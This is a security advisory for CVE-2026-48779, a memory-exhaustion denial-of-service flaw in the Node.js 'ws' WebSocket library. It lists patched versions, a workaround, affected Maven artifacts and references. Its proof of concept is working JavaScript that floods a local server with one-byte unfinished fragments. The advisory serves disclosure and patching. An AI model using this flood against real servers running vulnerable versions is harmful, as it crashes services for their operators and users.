CVE-2026-48779
ws: Memory exhaustion DoS from tiny fragments and data chunks
Description
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » wsvia npm ws | >= 1.1.0, < 5.2.5>= 6.0.0, < 6.2.4>= 7.0.0, < 7.5.11>= 8.0.0, < 8.21.0 | 5.2.5, 6.2.4, 7.5.11, 8.21.0 |
| org.webjars.npm » wsvia npm ws | >= 1.1.0, < 5.2.5>= 6.0.0, < 6.2.4>= 7.0.0, < 7.5.11>= 8.0.0, < 8.21.0 | 5.2.5, 6.2.4, 7.5.11, 8.21.0 |
Blast radius
41% of the dependent artifacts (5) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 34 |
| 2 hops | 112 |
| 3 hops | 2 |
| 4 hops | 2 |
Most used dependents
- org.mvnpm » viem17 usages
- org.webjars.npm » karma7 usages
- org.webjars.npm » socket.io5 usages
- org.webjars.npm » openlayers4 usages
- org.webjars.npm » engine.io3 usages
- org.webjars.npm » closure-util2 usages
- org.webjars.npm » ethers2 usages
- org.mvnpm.at.vercel » functions1 usages
- org.mvnpm.at.walletconnect » socket-transport1 usages
- com.chromia.cli.tools » chromia-cli-tools0 usages
- org.mvnpm » tailwind0 usages
- org.webjars.npm » firebase-server0 usages
Computed from the dependency graph of build 20261204.0837 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-48779 | nvd.nist.gov |
| Package | websockets/ws | github.com |
| Web | websockets/ws advisory GHSA-96hv-2xvq-fx4p | github.com |
| Web | websockets/ws commit fd36cd8 | github.com |
| Web | websockets/ws commit bca91ad | github.com |
| Web | websockets/ws commit b5372ac | github.com |
| Web | websockets/ws commit 86d3e8a | github.com |
| Web | data/csaf/v2/vex/2026/cve-2026-48779.json | security.access.redhat.com |
| Web | show_bug.cgi | bugzilla.redhat.com |
| Web | security/cve/CVE-2026-48779 | access.redhat.com |
| Web | errata/RHSA-2026:37272 | access.redhat.com |
| Web | errata/RHSA-2026:36820 | access.redhat.com |
| Web | errata/RHSA-2026:36754 | access.redhat.com |
| Web | errata/RHSA-2026:34342 | access.redhat.com |
| Web | errata/RHSA-2026:33574 | access.redhat.com |
| Web | errata/RHSA-2026:33183 | access.redhat.com |
| Web | errata/RHSA-2026:33173 | access.redhat.com |
| Web | errata/RHSA-2026:33163 | access.redhat.com |
| Web | errata/RHSA-2026:33160 | access.redhat.com |
| Web | errata/RHSA-2026:33155 | access.redhat.com |
| Web | errata/RHSA-2026:29197 | access.redhat.com |
| Web | errata/RHSA-2026:27171 | access.redhat.com |
| Web | errata/RHSA-2026:26638 | access.redhat.com |
